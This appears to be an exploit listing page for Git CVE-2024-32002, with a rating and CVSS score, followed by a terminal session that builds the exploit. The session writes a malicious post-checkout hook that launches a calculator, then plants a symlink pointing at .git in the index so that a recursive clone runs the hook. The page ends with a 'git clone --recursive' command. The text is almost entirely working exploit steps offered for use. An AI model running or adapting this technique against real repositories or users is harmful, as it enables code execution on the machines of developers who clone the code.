Exploit for Link Following in Git CVE-2024-32002

Name: Exploit for Link Following in Git CVE-2024-32002
Rating: 5 (82 reviews)

2024-07-02 | CVSS 9.0

## https://sploitus.com/exploit?id=8716CAC3-7FA1-5290-A15F-D7F0F569239C
```Administrator@lzzg-IT2023GIJP MINGW64 /d/Home/CVE/CVE-2024-32002/Demo
$ git init
Initialized empty Git repository in D:/Home/CVE/CVE-2024-32002/Demo/.git/
Administrator@lzzg-IT2023GIJP MINGW64 /d/Home/CVE/CVE-2024-32002/Demo (master)
$ ls
readme.md

Administrator@lzzg-IT2023GIJP MINGW64 /d/Home/CVE/CVE-2024-32002/Demo (master)
$ cat > .git/hooks/post-checkout <<EOF

> #! /bin/bash
> echo "cve-2024-32002 test" > /tmp/pwnd
> calc.exe
> open -a Calculator.app
> EOF

Administrator@lzzg-IT2023GIJP MINGW64 /d/Home/CVE/CVE-2024-32002/Demo (master)
$ chmod +x .git/hooks/post-checkout

Administrator@lzzg-IT2023GIJP MINGW64 /d/Home/CVE/CVE-2024-32002/Demo (master)
$ printf ".git" > dotgit.txt

Administrator@lzzg-IT2023GIJP MINGW64 /d/Home/CVE/CVE-2024-32002/Demo (master)
$ git hash-object -w --stdin < dotgit.txt > dot-git.hash

Administrator@lzzg-IT2023GIJP MINGW64 /d/Home/CVE/CVE-2024-32002/Demo (master)
$ printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info

Administrator@lzzg-IT2023GIJP MINGW64 /d/Home/CVE/CVE-2024-32002/Demo (master)
$ git update-index --index-info < index.info

Administrator@lzzg-IT2023GIJP MINGW64 /d/Home/CVE/CVE-2024-32002/Demo (master)
```



```
git clone --recursive captain hooked
```